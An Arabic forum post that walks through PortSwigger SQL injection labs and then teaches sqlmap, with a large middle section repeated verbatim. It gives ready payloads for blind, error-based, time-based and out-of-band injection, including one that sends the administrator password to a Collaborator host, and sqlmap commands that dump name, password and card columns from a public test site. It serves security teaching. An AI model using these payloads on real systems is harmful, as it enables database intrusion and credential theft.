في عننا الـ TrackingId لما نخلي الامر فيه يكون True بعطينا اشاره Welcome back


مشاهدة المرفق 10786

ولما نعكس الامر ما بظهر اي اشي


مشاهدة المرفق 10787

بنستخدم الامر هاد عشان نحكيله ان ال a = a


كود:
' AND (SELECT 'a' FROM users WHERE username='administrator')='a

مشاهدة المرفق 10788



بنعدل عليه و بنستخدم LENGTH(password)=1

عشان نعرف حجم الباسورد


كود:
' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)=1)='a


بعدها بنعمل بروت فورس يجرب كل القيم من واحد ل 30 مثلا عشان نعرف حجم الباسورد



هون بنعدل الامر ليصير هيك

كود:
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a

هاي عشان يجرب اول حرف من الباسورد اذا كانت a برجع true يعني بعطينا كلمه Welcome back

بعدها بنعمل بنغير SUBSTRING(password,1,1) بنخليها ل SUBSTRING(password,2,1) عشان نجرب للحرف الثاني وهيك

هون بنحدد على مكانين

المكان الاول الـ payload ( يعني يجرب القيم ) من 1 ل 21 رقم
المكان الثاني الـ payload ( يعني يجرب القيم ) كل الاحرف السمول والارقام من 0 ل 9 بنضيفهم من خلال القائمه تحت اسمها Add From List




مشاهدة المرفق 10793


مشاهدة المرفق 10794

مشاهدة المرفق 10791


بعدها عن طريق كلمه فلتر بنفرزهم حسب الـ Request اللي فيه كلمه Welcome back

مشاهدة المرفق 10952

وبنفرزهم حسب ال payload بتطلع معنا كلكمه السر من اول بايلود اللي هو اول حرف من الباسورد لاخر بايلود اللي هو اخر حرف بالباسورد

مشاهدة المرفق 10795


Blind SQL injection with conditional errors



مشاهدة المرفق 10796

هون اذا جربنا نبعث ' راح يعطينا خطأ ولو جربنا نسكرها يعني نحط ثنتين ' ' راح نلاقي انه الخطأ راح




كود:
'||(SELECT CASE WHEN (0=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'
بنلاحظ ما صار اشي لانو خلينا الامر يعطي فولس







يعني الادخال هاد اللي تحت معناه اذا كان ترو يعطينا اريور سببه انه حطينه فنكشن تقسم الرقم واحد على 0 عشان يعطينا اريور

كود:
TrackingId=xyz'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'



ف بنستخدم العمليه هاي عشان نتأكد من اسم المستخدم اذا كان موجود راح يعطينا خطأ ...

كود:
'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

مشاهدة المرفق 10799


بعدها بنجرب الـ LENGTH عشان نعرف حجم الباسورد

كود:
'||(SELECT CASE WHEN LENGTH(password)=1 THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'

مشاهدة المرفق 10800


بنعمل بروت فورس يجرب هاي القيم من واحد ل 30 مثلا



مشاهدة المرفق 10801



بنلاقي انو الحجم 20





كود:
'||(SELECT CASE WHEN SUBSTR(password,§1§,1)='§a§' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

بعدها بنعمل زي ما عملنا باللاب السابق وبنفرزهم تحت حسب وجود كلمه الخطأ او الايرور اللي بصير عنا بالمتصفح


مشاهدة المرفق 10803
مشاهدة المرفق 10804
مشاهدة المرفق 10805


تكمله الشرح بالصوره


مشاهدة المرفق 10808













بنستخدم الامر هاد لانو هون بقبل بس قيمه int

كود:
' AND CAST((SELECT 1) AS int)--




بحكيلنا لازم يكون الامر AND بولين يعني الناتج 1 او 0 بنضيف اشاره 1 =


كود:
' AND 1=CAST((SELECT 1) AS int)--

هيك فش اخطاء

مشاهدة المرفق 10814

هسا بس بنغير الادخال جوا select بنخليه يرجعلنا اسماء ال users

كود:
' AND 1=CAST((SELECT username FROM users) AS int)--



خطأ بسبب حجم الحروف بنمحي ال TrackingId اللي موجود بنخلي بس الامر تاعنا


بظهر خطأ جديد انو اعاد اكثر من سطر




ف عن طريق الامر التالي بنحددله كم سطر يرجع



هيك رجعلنا الاسم


هسا بس بنعدل الـ username لـ password وبرجعلنا الباسورد











زي ما شرحنا بالفيديو بنستخدم || عشان ندمج اكثر من تنفيذ بنفس المكان يعني لو بدنا نستخدم ال union من شروطها



وحكينا بالفيديو لو كان برجع استعلام واحد قبل بنحتاج نستخدم || عشان نرجع اكثر من كولوم بنفس الاستعلام
شرحت عنها بالدقيقه هاي

كود:
https://youtu.be/-G6im2Uj4Gw?si=RZkv1RODxN_yTrw9&t=1209


ف الامر اللي عننا بنفذ اللي موجود بالـ TrackingId وبتنفذ الامر sleep











Blind SQL injection with time delays and information retrieval




اول اشي بنجرب ادخال

كود:
'; SELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(1) END--

معناه
1=1 دائما ترو

عشان هيك راح يتنفذ اول امر احنا بنحطه اللي هو pg_sleep(10)

بس لما نيجي بدنا نجربو بنعملو url enc
بصير هيك

كود:
'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(1)+END--


بنلاحظ انه عمل sleep لـ عشر ثواني

بنجرب نخلي الامر يعطي فولس عشان ينفذ الامر الثاني


كود:
[CODE]'%3BSELECT+CASE+WHEN+(1=0)+THEN+pg_sleep(10)+ELSE+pg_sleep(1)+END--

[/CODE]


بنلاحظ انه عمل sleep لـ ثانيه


بعدها بنجهز الامر هاد عشان نعمل هجوم يجرب كل القيم الممكنه عشان نعرف حجم الباسورد

كود:
'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--

بنلاحظ انو في واحد عمل sleep يعني هو الحجم الصحيح للباسورد


الا وهو الرقم 20


وزي ما عملنا قبل بنستخدم الادخال هاد عشان نعمل هجوم نعرف الباسورد عن طريقو


كود:
'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,1,1)='a')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--

هيك يعني اللي بعمل سليب وبتاخر بالنتيجه هو الحرف الصحيح بالمكان الصحيح حسب البايلود الاول


بنجرب واحد واحد
لا ننسا نزيد
(password,1,1) هاي للحرف للاول
(password,2,1) هاي للحرف الثاني
(password,3,1) هاي للحرف الثالث

.
.
.
وهيك





هيك عننا o

وبنكمل زي ما بالفيديو













Blind SQL injection with out-of-band interaction

بدي اشرح اشي قبل ما احل التحدي اللي هي الـ Collaborator

النقطه السادسه



بكل بساطه هو خدمة بتمكنك تكتشف الثغرات الغير المرئية

يعني الثغرات اللي :

  1. ما بتسبب رسائل خطأ: لن يظهر أي رسالة خطأ تشير إلى وجود مشكلة.
  2. ما بتسبب اختلافات بمخرجات التطبيق: لا تغير في مخرجات التطبيق التي يمكن ملاحظتها.
  3. ما بتسبب تأخيرات زمنية قابلة للاكتشاف: لا تؤدي إلى تأخيرات ملحوظة في استجابة التطبيق.

طيب كيف بتشتغل


الـ Burp بتبعث Payload تابعه للـ Collaborator بـ Request
الـ payload عباره عن subdomain للـ Collaborator
الـ Burp بعمل زي ما نحكي Monitor بشوف اذا في تفاعل من الخادم زي ما بالصوره اللي فوق


عشان نحل التحدي
بنستخدم الامر هاد بس بنبدل القيمه هاي BURP-COLLABORATOR-SUBDOMAIN

كود:
TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual--

طبعا الامر هاد بنطلعه من الـ cheat sheet الخاصه بالـ sql من موقع portswigger



بالقيمه اللي بننسخها من هون


بعد ما نرسل الريكويست



بنلاقي انو ظهر عنا



وهيك نحل التحدي







Blind SQL injection with out-of-band data exfiltration



هاد التحدي نفس اللي فوق بس بدنا نطلع data وبرضو بنلاقيه على موقع الـ cheat sheet الخاصه بالـ sql من موقع portswigger


بنستخدم الامر هاد وبنعدل القيمه BURP-COLLABORATOR-SUBDOMAIN زي قبل شوي تماما بس بنستخدم الامر هاد عشان نرجع الباسورد الخاصه باليوزر اللي اسمه Administrator


كود:
TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual--


وهيك بنطلع الباسورد لانه احنا كاتبين بالامر انه يطبعه قبل الـ BURP-COLLABORATOR-SUBDOMAIN بنقطه dministrator')||'.BURP-COLLAB




حل الاب بالعربي









SQL injection with filter bypass via XML encoding




بنعمل Check stock وبنبعث الطلب للـ Repeater


مشاهدة المرفق 10944




مشاهدة المرفق 10943


بحاول نغير بقيمه الـ storeId زي مثلا نجرب نحط 1 UNION SELECT NULL

بعطينا




بنبحث على الـ Extensions على هاي الاضافه اللي بتسمحلنا نعمل اشياء كثير عن طريقها بنحاول نعمل obfuscating للبايلود

مشاهدة المرفق 10947


بعدها بنحدد على النص

مشاهدة المرفق 10948
وبنعملها obfuscating عن طريق الخطوات هاي



لما نجرب نرسل الطلب بنلاقي انه ما اكتشف اني بعمل اتتاك



بعدها بنرجع اليوزرز والباسورد











شرح اداه sqlmap

أهم الأوامر الأساسية التي تحتاجها لاستغلال أي موقع باستخدام أداة sqlmap :
الأوامر
الشرح
u URL, --url=URL-
تحديد عنوان الهدف (مثال: "http://www.site.com/vuln.php?id=1")
dbs--
اختبار واستخراج قواعد البيانات
D DBNAME --tables-
استخراج جداول قاعدة بيانات معينة​
D DBNAME -T TABLENAME --columns-
استخراج أعمدة جدول معين​
D DBNAME -T TABLENAME -C COLUMN --dump-
استخراج بيانات أعمدة معينة​

1. مثال عملي على موقع عادي

بنشوف قواعد البيانات المتاحة :
كود:
sqlmap -u "http://www.site.com/vuln.php?id=1" --dbs

بنستخرج الجداول اللي موجودة بقاعدة البيانات :
كود:
sqlmap -u "http://www.site.com/vuln.php?id=1" -D dbname --tables

بنستخرج الأعمدة من جدول معين :
كود:
sqlmap -u "http://www.site.com/vuln.php?id=1" -D dbname -T tablename --columns

بنستخرج بيانات من الأعمدة :
كود:
sqlmap -u "http://www.site.com/vuln.php?id=1" -D dbname -T tablename -C columnname --dump




2. مثال عملي على موقع تسجيل دخول

حقن استعلام SQL في حقل username عشان نشوف اذا فيه ثغره sql
كود:
sqlmap -u "http://www.example.com/login.php" --data="username=admin&password=admin" --batch --current-db


إذا تم اكتشاف ثغرة بنكمل عشان نشوف قواعد البيانات المتاحة :
كود:
sqlmap -u "http://www.example.com/login.php" --data="username=admin&password=admin" --dbs


بنستخرج الجداول اللي موجودة بقاعدة البيانات :
كود:
sqlmap -u "http://www.example.com/login.php" --data="username=admin&password=admin" -D exampledb --tables


بنستخرج الأعمدة من جدول معين :

كود:
sqlmap -u "http://www.example.com/login.php" --data="username=admin&password=admin" -D exampledb -T users --columns


بنستخرج بيانات من الأعمدة :
كود:
sqlmap -u "http://www.example.com/login.php" --data="username=admin&password=admin" -D exampledb -T users -C "id,username,password" --dump


3. نجرب على موقع حقيقي


بنستخدم الامر هاد عشان نشوف شو هي قواعد البيانات المتاحه
كود:
python .\sqlmap.py -u http://testphp.vulnweb.com/artists.php?artist=1 --dbs





بظهرلنا هون نتائج الفحص والامر اللي استخدمته عشان اعرف شو هي اسماء الداتابيز


بعدها بنستخرج اسماء الجداول عن طريق اسم الداتابيز باستخدام الامر هاد
كود:
python .\sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart --tables




بعدها بنستخرج البيانات من جدول معين مثلا ال users

كود:
python .\sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --columns



بنستخرج البيانات من العامود ال name وال pass وال cc مثلا

عن طريق الامر
كود:
python .\sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users -C name,pass,cc --dump



جدول أوامر الأداة​


الفئةالأوامرالشرح
عام-h, --helpعرض رسالة المساعدة الأساسية والخروج
-hhعرض رسالة المساعدة المتقدمة والخروج
--versionعرض رقم إصدار البرنامج والخروج
-v VERBOSEمستوى التفاصيل: من 0-6 (الافتراضي 1)
الهدف-u URL, --url=URLعنوان الهدف (مثال: "http://www.site.com/vuln.php?id=1")
-d DIRECTسلسلة الاتصال لاتصال مباشر بقاعدة البيانات
-l LOGFILEتحليل الهدف من ملف سجل وكيل Burp أو WebScarab
-m BULKFILEفحص أهداف متعددة من ملف نصي
-r REQUESTFILEتحميل طلب HTTP من ملف
-g GOOGLEDORKمعالجة نتائج بحث Google Dork كعناوين أهداف
-c CONFIGFILEتحميل الخيارات من ملف تكوين INI
الطلب-A AGENT, --user-agent=AGENTقيمة رأس HTTP User-Agent
-H HEADER, --header=HEADERرأس إضافي (مثال: "X-Forwarded-For: 127.0.0.1")
--method=METHODفرض استخدام طريقة HTTP معينة (مثال: PUT)
--data=DATAسلسلة البيانات المرسلة عبر POST (مثال: "id=1")
--param-del=PARAMDELحرف لفصل قيم المعلمات (مثال: &)
--cookie=COOKIEقيمة رأس HTTP Cookie (مثال: "PHPSESSID=a8d127e..")
--cookie-del=COOKIEDELحرف لفصل قيم الكوكيز (مثال: ;)
--live-cookies=LIVECOOKIESملف الكوكيز لاستخدام القيم المحدثة
--load-cookies=LOADCOOKIESملف يحتوي على كوكيز بصيغة Netscape/wget
--drop-set-cookieتجاهل رأس Set-Cookie من الاستجابة
--mobileمحاكاة الهاتف الذكي عبر رأس HTTP User-Agent
--random-agentاستخدام قيمة عشوائية لرأس HTTP User-Agent
--host=HOSTقيمة رأس HTTP Host
--referer=REFERERقيمة رأس HTTP Referer
--headers=HEADERSرؤوس إضافية (مثال: "Accept-Language: fr\nETag: 123")
--auth-type=AUTHTYPEنوع مصادقة HTTP (Basic, Digest, Bearer, ...)
--auth-cred=AUTHCREDبيانات اعتماد مصادقة HTTP (name
)
--auth-file=AUTHFILEملف مصادقة HTTP بشهادة PEM/مفتاح خاص
--abort-code=ABORTCODEإيقاف على كود خطأ HTTP معين (مثال: 401)
--ignore-code=IGNORECODEتجاهل كود خطأ HTTP معين (مثال: 401)
--ignore-proxyتجاهل إعدادات الوكيل الافتراضية للنظام
--ignore-redirectsتجاهل محاولات إعادة التوجيه
--ignore-timeoutsتجاهل وقت انتهاء الاتصال
--proxy=PROXYاستخدام وكيل للاتصال بالهدف
--proxy-cred=PROXYCREDبيانات اعتماد الوكيل (name
)
--proxy-file=PROXYFILEتحميل قائمة وكلاء من ملف
--proxy-freq=PROXYFREQعدد الطلبات بين تغيير الوكيل من القائمة
--torاستخدام شبكة تور للخصوصية
--tor-port=TORPORTتعيين منفذ وكيل تور غير الافتراضي
--tor-type=TORTYPEتعيين نوع وكيل تور (HTTP, SOCKS4, SOCKS5)
--check-torالتحقق من استخدام تور بشكل صحيح
--delay=DELAYتأخير بالثواني بين كل طلب HTTP
--timeout=TIMEOUTثواني الانتظار قبل انتهاء مهلة الاتصال (الافتراضي 30)
--retries=RETRIESعدد المحاولات عند انتهاء مهلة الاتصال (الافتراضي 3)
--retry-on=RETRYONإعادة المحاولة عند مطابقة تعبير عادي معين
--randomize=RPARAMتغيير عشوائي لقيمة معلمة معينة
--safe-url=SAFEURLعنوان URL آمن للزيارة بشكل متكرر أثناء الاختبار
--safe-post=SAFEPOSTبيانات POST لإرسالها إلى عنوان URL آمن
--safe-req=SAFEREQتحميل طلب HTTP آمن من ملف
--safe-freq=SAFEFREQعدد الطلبات العادية بين زيارات العنوان الآمن
--skip-urlencodeتخطي ترميز URL لبيانات الحمولة
--csrf-token=CSRFTOKENمعلمة لحمل رمز مكافحة CSRF
--csrf-url=CSRFURLعنوان URL لزيارة لاستخراج رمز مكافحة CSRF
--csrf-method=CSRFMETHODطريقة HTTP لاستخدامها أثناء زيارة صفحة رمز مكافحة CSRF
--csrf-data=CSRFDataبيانات POST لإرسالها أثناء زيارة صفحة رمز مكافحة CSRF
--csrf-retries=CSRFRETRIESعدد المحاولات لاستخراج رمز مكافحة CSRF (الافتراضي 0)
--force-sslفرض استخدام SSL/HTTPS
--chunkedاستخدام طلبات HTTP chunked transfer encoded (POST)
--hppاستخدام طريقة تلوث معلمات HTTP
--eval=EVALCODEتقييم كود Python المقدم قبل الطلب (مثال: "import hashlib;id2=hashlib.md5(id).hexdigest()")
التحسين-oتشغيل كل مفاتيح التحسين
--predict-outputالتنبؤ بمخرجات الاستعلامات الشائعة
--keep-aliveاستخدام اتصالات HTTP(s) المستمرة
--null-connectionاسترجاع طول الصفحة بدون جسم استجابة HTTP الفعلي
--threads=THREADSعدد الحد الأقصى من طلبات HTTP(s) المتزامنة (الافتراضي 1)
الحقن-p TESTPARAMETERمعلمة قابلة للاختبار
--skip=SKIPتخطي اختبار معلمة معينة
--skip-staticتخطي اختبار المعلمات الساكنة
--param-exclude=PEXCLUDEاستبعاد المعلمات التي تتطابق مع تعبير عادي معين
--dbms=DBMSفرض استهداف قاعدة بيانات معينة
--dbms-cred=DBMSCREDبيانات اعتماد قاعدة البيانات لتخطي الاستغلال (user
)
--os=OSفرض استهداف نظام تشغيل معين
--invalid-bignumاستخدام أعداد صحيحة كبيرة غير صالحة للاختبار
--invalid-logicalاستخدام تعبيرات منطقية غير صالحة للاختبار
--invalid-stringاستخدام سلاسل غير صالحة للاختبار
--no-castتجاهل استخدام النوع أثناء الحقن الاحتيالي
--no-escapeتجاهل استخدام الرموز الهروب أثناء الحقن
--prefix=PREFIXسلسلة لحقنها قبل كل حمولة أثناء الحقن
--suffix=SUFFIXسلسلة لحقنها بعد كل حمولة أثناء الحقن
--tamper=TAMPERاستخدام برامج التشويش الخاصة بالحقل (مثال: "between,randomcase")
الفحص-level=LEVELمستوى الشدة من 1-5 (الافتراضي 1)
--risk=RISKمستوى المخاطرة من 1-3 (الافتراضي 1)
--string=STRINGسلسلة لاكتشاف استجابة الحقن الناجحة
--not-string=NOTSTRINGسلسلة لاكتشاف استجابة الحقن غير الناجحة
--regexp=REGEXPتعبير عادي لاكتشاف استجابة الحقن الناجحة
--code=CODEكود حالة HTTP لاكتشاف استجابة الحقن الناجحة
--smartإجراء اختبار حقن ذكي
--text-onlyمقارنة الاختلافات في المحتوى فقط
--titlesمقارنة الاختلافات في عنوان HTML فقط
تحصيل المعلومات-a, --allاسترجاع كل المعلومات
-b, --bannerاسترجاع شعار قاعدة البيانات
--current-userاسترجاع المستخدم الحالي لقاعدة البيانات
--current-dbاسترجاع قاعدة البيانات الحالية
--hostnameاسترجاع اسم المضيف
--is-dbaالتحقق مما إذا كان المستخدم الحالي لديه امتيازات DBA
--usersاسترجاع أسماء مستخدمي قاعدة البيانات
--passwordsاسترجاع كلمات مرور مستخدمي قاعدة البيانات
--privilegesاسترجاع امتيازات مستخدمي قاعدة البيانات
--rolesاسترجاع أدوار مستخدمي قاعدة البيانات
--dbsاسترجاع قواعد البيانات المتاحة
--tablesاسترجاع جداول قاعدة البيانات
--columnsاسترجاع أعمدة الجداول
--schemaاسترجاع مخطط قاعدة البيانات بالكامل
--countاسترجاع عدد المدخلات في الجداول
--dumpتفريغ بيانات الجدول
--dump-allتفريغ كل بيانات قاعدة البيانات
--searchالبحث عن أسماء الأعمدة
--commentsاسترجاع تعليقات قاعدة البيانات
-D DBقاعدة البيانات لعملية الاسترجاع
-T TBLالجدول لعملية الاسترجاع
-C COLالعمود لعملية الاسترجاع
--exclude-sysdbsاستبعاد قواعد البيانات النظامية
--pivot-column=PIVOTCOLUMNالعمود المحوري
--where=DUMPWHEREجملة شرطية لاسترجاع البيانات
--start=LIMITSTARTقيمة البدء لتفريغ الجدول
--stop=LIMITSTOPقيمة الإيقاف لتفريغ الجدول
--first=FIRSTCHARموضع الحرف الأول للتفريغ
--last=LASTCHARموضع الحرف الأخير للتفريغ
--sql-query=SQLQUERYاسترجاع نتيجة استعلام SQL المخصص
--sql-shellإسقاط إلى واجهة سطر الأوامر لقاعدة البيانات
--sql-file=SQLFILEقراءة استعلامات SQL لتنفيذها من ملف خارجي
الاستغلال--os-cmd=OSCMDتنفيذ أمر نظام التشغيل
--os-shellإسقاط إلى واجهة سطر الأوامر لنظام التشغيل
--os-pwnاستخدام Metasploit لحصول على اتصال عكسي
--os-smbrelayإجراء هجوم SMB relay
--os-bofتنفيذ هجوم buffer overflow
--priv-escمحاولة ترقية الامتيازات
--msf-path=MSFPATHمسار Metasploit Framework
--tmp-path=TMPPATHمسار دليل التخزين المؤقت لنظام التشغيل الهدف
أدوات--reg-readقراءة قيمة السجل
--reg-addإضافة إدخال السجل
--reg-delحذف إدخال السجل
--reg-key=REGKEYمفتاح السجل
--reg-value=REGVALقيمة السجل
--reg-data=REGDATAبيانات السجل
--reg-type=REGTYPEنوع السجل
--file-read=FILEقراءة الملف
--file-write=FILEكتابة الملف
--file-dest=DESTدليل الهدف على نظام التشغيل
--shellإسقاط إلى واجهة سطر الأوامر التفاعلية
--purgeتطهير ملفات وأدلة مؤقتة
البيانات--save=SAVEحفظ خيارات الإدخال إلى ملف INI
--load=LOADتحميل خيارات الإدخال من ملف INI
--merge=MERGEدمج خيارات الإدخال من ملف INI
--save-config=SCONFIGحفظ خيارات الإعداد إلى ملف INI
--flush-sessionتطهير المعلومات الخاصة بالجلسة الحالية
--fresh-queriesتجاهل الحفظ في قاعدة بيانات الجلسة
--etaعرض الوقت المتوقع لإنهاء تنفيذ العملية
--updateتحديث sqlmap
--dependenciesالتحقق من الاعتماديات المفقودة
--disable-coloringتعطيل تلوين الإخراج


تقدر تلاقي مثال لتشغيل الأداة هنا. ولمعلومات أكتر عن قدرات الأداة والمزايا والأوامر المختلفة، ممكن تشوف دليل المستخدم.

روابط مهمة


تعجز الكلمات عن الوصف 🙌🫡
 
عشان تقدر تفهم الـ sql بشكل احترافي عزيزي القارئ بدك تفهم اكم نقطه


1.
تفهم شو يعني الـ sql بتقدر تقرأ هاد المقال 👇
كود:
https://sh3ll.cloud/xf2/threads/1818


2. تفهم شو يعني Database وكيف التيبلز شكلها ومشروحه بالفيديو هون بشكل بسيط وفي شرح بسيط كيف تعمل جداول 👇
كود:
https://youtu.be/-G6im2Uj4Gw?si=RsPetz_FzdsW8S8n
https://sh3ll.cloud/xf2/threads/356/


3. تطبق عملي على الـ sql وتعرف تستخدم ادوات جاهزه تفيدك مثل sqlmap موضوعنا اليوم راح يفيدك ان شاء الله وهي رابطو👇
كود:
https://sh3ll.cloud/xf2/threads/2443/


4. طبعا واكيد اداه Burp suite اللي بتساعدك بشكل كبير شرحها كامل هون 👇
كود:
https://sh3ll.cloud/xf2/threads/1389
https://sh3ll.cloud/xf2/threads/1573
https://sh3ll.cloud/xf2/threads/1729


5. اكيد تفهم اجزاء الـ URL والـ HTTP Methods والـ HTTP Status Codes والـ Headers
كود:
https://sh3ll.cloud/xf2/threads/988/


حل لابات الـ sql inj وعددها الـ 18 Lab



اول 10 لابات مع شرحهن فيديو يوتيوب




ضل 8 لابات 👇
هي حلهن اول اشي وبالاخر شرح الـ sqlmap







Blind SQL injection with conditional responses

مشاهدة المرفق 10785


في عننا الـ TrackingId لما نخلي الامر فيه يكون True بعطينا اشاره Welcome back


مشاهدة المرفق 10786

ولما نعكس الامر ما بظهر اي اشي


مشاهدة المرفق 10787

بنستخدم الامر هاد عشان نحكيله ان ال a = a


كود:
' AND (SELECT 'a' FROM users WHERE username='administrator')='a

مشاهدة المرفق 10788



بنعدل عليه و بنستخدم LENGTH(password)=1

عشان نعرف حجم الباسورد


كود:
' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)=1)='a


بعدها بنعمل بروت فورس يجرب كل القيم من واحد ل 30 مثلا عشان نعرف حجم الباسورد



هون بنعدل الامر ليصير هيك

كود:
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a

هاي عشان يجرب اول حرف من الباسورد اذا كانت a برجع true يعني بعطينا كلمه Welcome back

بعدها بنعمل بنغير SUBSTRING(password,1,1) بنخليها ل SUBSTRING(password,2,1) عشان نجرب للحرف الثاني وهيك

هون بنحدد على مكانين

المكان الاول الـ payload ( يعني يجرب القيم ) من 1 ل 21 رقم
المكان الثاني الـ payload ( يعني يجرب القيم ) كل الاحرف السمول والارقام من 0 ل 9 بنضيفهم من خلال القائمه تحت اسمها Add From List




مشاهدة المرفق 10793


مشاهدة المرفق 10794

مشاهدة المرفق 10791


بعدها عن طريق كلمه فلتر بنفرزهم حسب الـ Request اللي فيه كلمه Welcome back

مشاهدة المرفق 10952

وبنفرزهم حسب ال payload بتطلع معنا كلكمه السر من اول بايلود اللي هو اول حرف من الباسورد لاخر بايلود اللي هو اخر حرف بالباسورد

مشاهدة المرفق 10795


Blind SQL injection with conditional errors



مشاهدة المرفق 10796

هون اذا جربنا نبعث ' راح يعطينا خطأ ولو جربنا نسكرها يعني نحط ثنتين ' ' راح نلاقي انه الخطأ راح




كود:
'||(SELECT CASE WHEN (0=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'
بنلاحظ ما صار اشي لانو خلينا الامر يعطي فولس







يعني الادخال هاد اللي تحت معناه اذا كان ترو يعطينا اريور سببه انه حطينه فنكشن تقسم الرقم واحد على 0 عشان يعطينا اريور

كود:
TrackingId=xyz'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'



ف بنستخدم العمليه هاي عشان نتأكد من اسم المستخدم اذا كان موجود راح يعطينا خطأ ...

كود:
'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

مشاهدة المرفق 10799


بعدها بنجرب الـ LENGTH عشان نعرف حجم الباسورد

كود:
'||(SELECT CASE WHEN LENGTH(password)=1 THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'

مشاهدة المرفق 10800


بنعمل بروت فورس يجرب هاي القيم من واحد ل 30 مثلا



مشاهدة المرفق 10801



بنلاقي انو الحجم 20





كود:
'||(SELECT CASE WHEN SUBSTR(password,§1§,1)='§a§' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

بعدها بنعمل زي ما عملنا باللاب السابق وبنفرزهم تحت حسب وجود كلمه الخطأ او الايرور اللي بصير عنا بالمتصفح


مشاهدة المرفق 10803
مشاهدة المرفق 10804
مشاهدة المرفق 10805


تكمله الشرح بالصوره


مشاهدة المرفق 10808













بنستخدم الامر هاد لانو هون بقبل بس قيمه int

كود:
' AND CAST((SELECT 1) AS int)--




بحكيلنا لازم يكون الامر AND بولين يعني الناتج 1 او 0 بنضيف اشاره 1 =


كود:
' AND 1=CAST((SELECT 1) AS int)--

هيك فش اخطاء

مشاهدة المرفق 10814

هسا بس بنغير الادخال جوا select بنخليه يرجعلنا اسماء ال users

كود:
' AND 1=CAST((SELECT username FROM users) AS int)--



خطأ بسبب حجم الحروف بنمحي ال TrackingId اللي موجود بنخلي بس الامر تاعنا


بظهر خطأ جديد انو اعاد اكثر من سطر




ف عن طريق الامر التالي بنحددله كم سطر يرجع



هيك رجعلنا الاسم


هسا بس بنعدل الـ username لـ password وبرجعلنا الباسورد











زي ما شرحنا بالفيديو بنستخدم || عشان ندمج اكثر من تنفيذ بنفس المكان يعني لو بدنا نستخدم ال union من شروطها



وحكينا بالفيديو لو كان برجع استعلام واحد قبل بنحتاج نستخدم || عشان نرجع اكثر من كولوم بنفس الاستعلام
شرحت عنها بالدقيقه هاي

كود:
https://youtu.be/-G6im2Uj4Gw?si=RZkv1RODxN_yTrw9&t=1209


ف الامر اللي عننا بنفذ اللي موجود بالـ TrackingId وبتنفذ الامر sleep











Blind SQL injection with time delays and information retrieval




اول اشي بنجرب ادخال

كود:
'; SELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(1) END--

معناه
1=1 دائما ترو

عشان هيك راح يتنفذ اول امر احنا بنحطه اللي هو pg_sleep(10)

بس لما نيجي بدنا نجربو بنعملو url enc
بصير هيك

كود:
'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(1)+END--


بنلاحظ انه عمل sleep لـ عشر ثواني

بنجرب نخلي الامر يعطي فولس عشان ينفذ الامر الثاني


كود:
[CODE]'%3BSELECT+CASE+WHEN+(1=0)+THEN+pg_sleep(10)+ELSE+pg_sleep(1)+END--

[/CODE]


بنلاحظ انه عمل sleep لـ ثانيه


بعدها بنجهز الامر هاد عشان نعمل هجوم يجرب كل القيم الممكنه عشان نعرف حجم الباسورد

كود:
'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--

بنلاحظ انو في واحد عمل sleep يعني هو الحجم الصحيح للباسورد


الا وهو الرقم 20


وزي ما عملنا قبل بنستخدم الادخال هاد عشان نعمل هجوم نعرف الباسورد عن طريقو


كود:
'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,1,1)='a')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--

هيك يعني اللي بعمل سليب وبتاخر بالنتيجه هو الحرف الصحيح بالمكان الصحيح حسب البايلود الاول


بنجرب واحد واحد
لا ننسا نزيد
(password,1,1) هاي للحرف للاول
(password,2,1) هاي للحرف الثاني
(password,3,1) هاي للحرف الثالث

.
.
.
وهيك





هيك عننا o

وبنكمل زي ما بالفيديو













Blind SQL injection with out-of-band interaction

بدي اشرح اشي قبل ما احل التحدي اللي هي الـ Collaborator

النقطه السادسه



بكل بساطه هو خدمة بتمكنك تكتشف الثغرات الغير المرئية

يعني الثغرات اللي :

